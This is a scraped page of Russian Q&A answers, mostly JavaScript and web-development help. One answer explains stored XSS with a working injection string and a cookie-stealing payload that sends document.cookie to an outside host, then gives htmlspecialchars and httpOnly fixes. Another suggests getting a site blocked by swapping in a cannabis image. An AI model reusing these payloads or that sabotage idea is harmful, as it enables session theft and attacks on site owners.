• Что изучать дальше?

    @Gabda96
    1) HTMLAcademy - желательно пройти полностью, дают хорошую основу.
    2) learn.javascript.ru - тут ты найдешь всё про js.
    3) Книга "Секреты Javascript ниндзя" - учебник для более глубокого погружения в js
    4) Серия книг You don't know JS (есть хорошие переводы)
    5) Codewars - ресурс для практики JS
    6) Если хочешь изучить React, рекомендую курсы на Udemy от Maximilian Schwarmuller
    Ответ написан
    1 комментарий
  • Как правильно написать функцию с произвольным числом аргументов?

    0xD34F
    @0xD34F Куратор тега JavaScript
    function setNestedValue(root, ...args) {
      const val = args.pop();
      const key = (args = args.join('.').split('.')).pop();
      args.reduce((p, c) => p[c] = p[c] || {}, root)[key] = val;
    }
    
    
    const obj = {};
    setNestedValue(obj, 'xxx', 'yyy', 'zzz', 69);
    setNestedValue(obj, 'xxx.a.b.c', 187);
    setNestedValue(obj, '_', 666);
    Ответ написан
    Комментировать
  • Может ли эта уязвимость навредить сайту?

    SagePtr
    @SagePtr
    Еда - это святое
    А ещё в пост вставить картинку с котиком, а через некоторое время (когда пост затеряется и шанс модератора наткнуться на него будет минимальным) - заменить картинку с котиком на изображение листа конопли и натравить на него Роскомнадзор.
    В итоге сайт улетает в блокировку, а владельцы некоторое время не понимают, почему кол-во посетителей из России вдруг упало, а найти картинку, к которой РКН придрался, будет весьма сложно, так как факт замены в логах нигде отражён не будет, ибо заменена она будет на стороне стороннего сервера.
    Ответ написан
    1 комментарий
  • Как создать вложенный объект из плоского?

    0xD34F
    @0xD34F Куратор тега JavaScript
    const plainToNested = (source, target = {}) =>
      Object.entries(source).reduce((acc, [ path, val ]) => {
        const keys = path.split('.');
        const key = keys.pop();
        keys.reduce((p, c) => p[c] = p[c] || {}, acc)[key] = val;
        return acc;
      }, target);
    Ответ написан
    1 комментарий
  • Contact form 7 + popup почему перегружается страница?

    @artegion
    Думаю многим будет полезно! Данная проблема чаще всего происходит, когда вы начинаете с нуля создавать шаблон, в итоге в footer забываете размещать:
    <?php wp_footer(); ?>
    Который непосредственно подгружает .js плагинов!
    Ну и разместить желательно его повыше в самом footer.php, но ниже вывода jquery!
    (протестировать данную вероятность так же можно подгрузив другой шаблон)
    Протестировано на:
    WP Версия 4.8.3;
    Библиотека jquery 1.12.4;
    Contact Form 7 Версия 4.9.1;

    Лайк, если помог!
    Ответ написан
    4 комментария
  • Как мне получить сначало число, потом пару букв?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    /**
     * Разбивает строку на три части: цифры, две буквы, две буквы.
     * Возвращает либо массив из трех элементов,
     * либо undefined
     */
    function getParts(str) {
      const re = /^(\d+)(\S{2})(\S{2})$/;
      const match = str.match(re);
      if (match) return match.slice(1);
    }
    
    getParts("5дмсм") // ["5", "дм", "см"]
    Ответ написан
    Комментировать
  • Дополнительная прокрутка после прекращения скролла?

    Vlad_IT
    @Vlad_IT Куратор тега JavaScript
    Front-end разработчик
    Есть вот такая штука https://github.com/ariya/kinetic вот демка ariya.github.io/kinetic/2 на больших экранах лучше отключать. И вот такая есть https://idiotwu.github.io/smooth-scrollbar/
    Ответ написан
    Комментировать
  • Не получается настроить ЦЕЛИ в ЯндексМетрике, поможете?

    DeoZ
    @DeoZ
    Веб-разработка и Реклама
    Вы можете поставить срабатывание события для кнопки, несмотря на то, что там уже имеется js-код. Просто разделите их точкой с запятой. Получится таким образом:
    <button class="btn btn-smal btn-block btn-success" type="button" onclick="order_product(1,'Фотошторы Волшебный лес');yaCounter37700435.reachGoal('ORDER'); return true;">Купить</button>
    Ответ написан
    Комментировать
  • Как могут быть равны значения, чьи логические эквиваленты различны?

    0xD34F
    @0xD34F Куратор тега JavaScript
    a = 0
    b = '0'
    
    // или
    
    a = false
    b = '0'
    
    // или
    
    a = ''
    b = []
    
    // или
    
    a = 0
    b = {
      valueOf: () => 0,
    }
    
    // или
    
    a = ''
    b = {
      toString: () => '',
    }
    Ответ написан
    Комментировать
  • Как расположить элементы по кругу?

    Vlad_IT
    @Vlad_IT Куратор тега CSS
    Front-end разработчик
    Делайте по такому принципу.
    Ответ написан
    12 комментариев
  • Как найти координаты точек круга?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Простой вариант, когда смотрят на шар на уровне экватора, в параллельной проекции.
    Центр шара примем за точку отсчёта, ноль.
    Два угла определяют положение точки на поверхности шара относительно его центра:
    • широта (latitude, север-юг) от -∏/2 (северный полюс) до ∏/2 (южный полюс);
    • долгота (longitude, запад-восток) от 0 до 2∏ (полный круг).


    В прокции на плоскость (экран) точки шара попадут внутрь окружности радиуса R. Центр попадет в центр. Северный полюс – в верхнюю точку, южный – в нижнюю.

    Высота зависит только от широты, тут всё просто: y = R * sin(lat)
    Влево-вправо от центральной оси зависит от обоих углов. От широты зависит максимально возможное удаление от оси R * cos(lat). А ещё уменьшиться оно может в зависимости от долготы: надо домножить на cos(lng). Итого получается x = R * cos(lat) * cos(lng)



    Кроме того посмотрите в коде, как правильно создавать элементы внутри SVG и задавать им атрибуты. А также значение viewBox чтобы (0, 0) была по центру.
    Ответ написан
    1 комментарий
  • Как добавить новый блок к элементу?

    Stalker_RED
    @Stalker_RED
    $('.payment-block a[rel="137"]')...
    Ответ написан
    Комментировать
  • Как сгруппировать массив объектов по значениям одного из их свойств?

    0xD34F
    @0xD34F Куратор тега JavaScript
    const result = Object.values(arr.reduce((acc, n) => {
      const group = acc[n.id] = acc[n.id] || { id: n.id, offers: [] };
      group.offers.push(n);
      return acc;
    }, {}));
    Ответ написан
    8 комментариев
  • Как получить только время с json api?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Там в поле date возвращается помимо поля #text ещё поле uts – unix timestamp. Удобнее использовать его. Вместо var date = value["date"]["#text"]; как-то так:
    var date = new Date(1000 * parseInt(value["date"]["uts"])); // дата-время из трека
    var now =  new Date(); // сейчас
    // теперь сравнивайте две даты
    var diff = Math.floor((now - date) / 1000); // прошло секунд
    var when = '';
    if( diff < 3600) {
      when = '' + Math.floor(diff / 60) + ' минут назад';
    } else if( diff < 86400) {
      when = '' + Math.floor(diff / 3600) + ' часов назад';
    } else if( diff < (7 * 86400)) {
      when = '' + Math.floot(diff / 86400) + ' дней назад';
    } // ...  и так далее
    Ответ написан
    1 комментарий
  • Как узнать какой по счёту элемент в dom дереве имеет определённый класс?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Определимся с элементом, у которого будем узнавать индекс - внутри кого он находится, что это за элемент, какой у него должен быть класс:

    const parentSelector = 'div';
    const childSelector = 'p';
    const className = 'there';
    
    const siblingsSelector = `${parentSelector} > ${childSelector}`;
    const elementSelector = `${siblingsSelector}.${className}`;

    Дальше есть варианты:

    const index = Array.prototype.findIndex.call(
      document.querySelectorAll(siblingsSelector),
      n => n.classList.contains(className)
    );

    или

    let index = -1;
    for (
      let el = document.querySelector(elementSelector);
      el;
      index++, el = el.previousElementSibling
    ) ;

    или

    const el = document.querySelector(elementSelector);
    const index = el ? [...el.parentNode.children].indexOf(el) : -1;

    Если вдруг у элемента могут быть другие соседи, не соответствующие childSelector, и они не должны учитываться, то третий вариант не подходит, а во втором надо заменить index++ на index += el.matches(childSelector).
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как передать значение одного инпута в другой, если у вводимого инпута кратность ввода чисел = 100?

    0xD34F
    @0xD34F Куратор тега JavaScript
    $('.price-inp').change(function() {
      const val = Math.round($(this).val() / 100) * 100;
      $(this).add('.result').val(val);
    });
    Ответ написан
    1 комментарий